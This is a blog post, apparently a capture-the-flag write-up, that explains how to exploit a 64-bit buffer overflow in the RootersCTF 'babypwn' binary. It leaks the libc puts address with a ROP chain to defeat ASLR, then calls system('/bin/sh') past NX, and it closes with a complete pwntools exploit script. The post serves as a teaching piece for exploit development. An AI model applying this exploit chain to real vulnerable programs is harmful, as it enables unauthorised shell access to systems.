In the previous post, we are talking about how we can bypass NX and ASLR at the same time in 32 bit but have you ever think that the same attack can be successfully launched at 64 bit.
The answer is "NO!"
Even though the concept of launching the attack is almost the same but there are some minor change that we need to apply to our exploit
You must be aware that the 32-bit and the 64-bit function call is different. 32 bit use the stack to pass the parameter of the function but 64 bit use the register to passing the parameter and we need to utilize ROP to chain to call the function
To make it more clear we are going to solve one of the CTF challenge (babypwn) that come from Rooters CTF you can download the binary at this link: https://github.com/abs0lut3pwn4g3/RootersCTF2019-challenges/tree/master/pwn/babypwn
Crash... crash...crash....crash
First, like any initial stage of exploit development, we need to crash the program in order to find out how many offset that they need to overwrite the instruction pointer (RIP)
we can see at the figure above that the file is loaded to GDB and then we provide a long string pattern so we can trigger a crash, once it's crash take a look at RSP register notice that it fills with the supplied string earlier and it turns out we need at least 264 bytes of offset to overwrite the RIP register.
as mention earlier, our binary is equipped with NX and ASLR protection this means that the stack of the program is not executable and randomized. In 32 bit executable, ASLR can be defeated by just brute-forcing the value of the stack since it has a low entropy but here 64-bit executable has a much larger address so doing it will be not efficient.
so what do we do then?
if you take a look at the main function, there is puts function that we can use into our exploit. This method is called Ret2Puts, so we reuse the puts function that the program function used at the main function to leak the information of stack address at runtime
so we craft our exploit into two phases, first phases will use the puts function to be called to tell us what is the .got address of the puts function by doing this it will give us the actual address of the puts function on the stack (reference on .plt.got can be check at this link: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html)
next at phase two is to craft a payload to called system function to execute shell, by getting the actual address on the stack we can calculate the beginning of the stack address and determine where the system and string "/bin/sh" location at the stack
Phase 1: Leaking the stack
we will use pwntools to craft the exploit.our exploit will create in the following manner:
<padding> + pop rdi; ret + puts.got address + puts() function address +main function
by using this exploit once we leak the puts address it will go back to the main function so we can continue to phase 2
this is the initial code for our exploit, first, we load the executable and the dynamic library that was used by the executable (usually in CTF this is provided along with the challenge)
you have to pass the elf object to context.binary first so the pwntools detect whether it is 64 bit or 32 bit. Then you create a ROP object in order for pwntools to automatically craft it for us
second is just grabbing all of the necessary information to crafting our first stage exploit such as the location of puts function, the address of puts .got and the address of the main function.
log.info function just use to show the value of each assign variable
next, we craft our ROP gadget by using rop.call function then we put it together with padding and main address just like what we plan earlier. By using rop.call function pwntools automatically fine the right gadget (pop rdi;ret) to call puts function
after all the preparation done we will run the executable and send the payload. Once it is done we will receive the leak value and store it to the temporary variable
once we get the leaked address we can calculate the stack address and look for the system function and "/bin/sh" string
run the following script that we just type with: python exploit.py LOCAL DEBUG
cool we got the address leak and determine the stack address at runtime. Notice the address that I highlighted, this is the leaked address of puts function
Phase 2: Craft Payload
so now we have all of the material to craft our payload all we need to do is to construct another gadget to call a shell, we will construct our gadget in the following mannerpadding + ret + pop rdi;ret + system function + bin/sh
notice that I put ret address before the rop gadget this is because to make sure my stack is aligned properly.
added this following code to your code, run it and we got a shell :)
pretty cool huh ?!
The full exploit script:
from pwn import *
elf = context.binary = ELF('./vuln')
libc_library = context.binary = ELF('./libc.so.6')
rop = ROP(elf)
padding = "A" * 264
puts_plt = elf.symbols.puts
puts_got = elf.got.puts
main_loc = elf.symbols.main
return_address = 0x400694
log.info("puts_plt: {}".format(hex(puts_plt)))
log.info("puts_got: {}".format(hex(puts_got)))
log.info("main function: {}".format(hex(main_loc)))
rop.call(elf.symbols.puts,[elf.got.puts])
payload = padding + rop.chain() + p64(main_loc)
r = process("./vuln")
r.recv()
r.sendline(payload)
r.recvuntil("\n")
temp = r.recvline()
leak_puts = u64(temp.strip("\n").ljust(8,"\x00"))
libc_library.address = leak_puts - libc_library.symbols.puts
system = libc_library.symbols.system
bin_sh = next(libc_library.search("/bin/sh"))
log.info("leak puts: {}".format(hex(leak_puts)))
log.info("libc address: {}".format(hex(libc_library.address)))
log.info("system address: {}".format(hex(system)))
log.info("bin/sh: {}".format(hex(bin_sh)))
rop = ROP(elf)
rop.call(system,[bin_sh])
print rop.dump()
payload2 = padding + p64(return_address) + rop.chain()
r.recvuntil("back> \n")
r.sendline(payload2)
r.interactive()
That's all I hope I can give you some insight on how to build exploit in 64-bit architecture.
See you at the next post
Comments
Post a Comment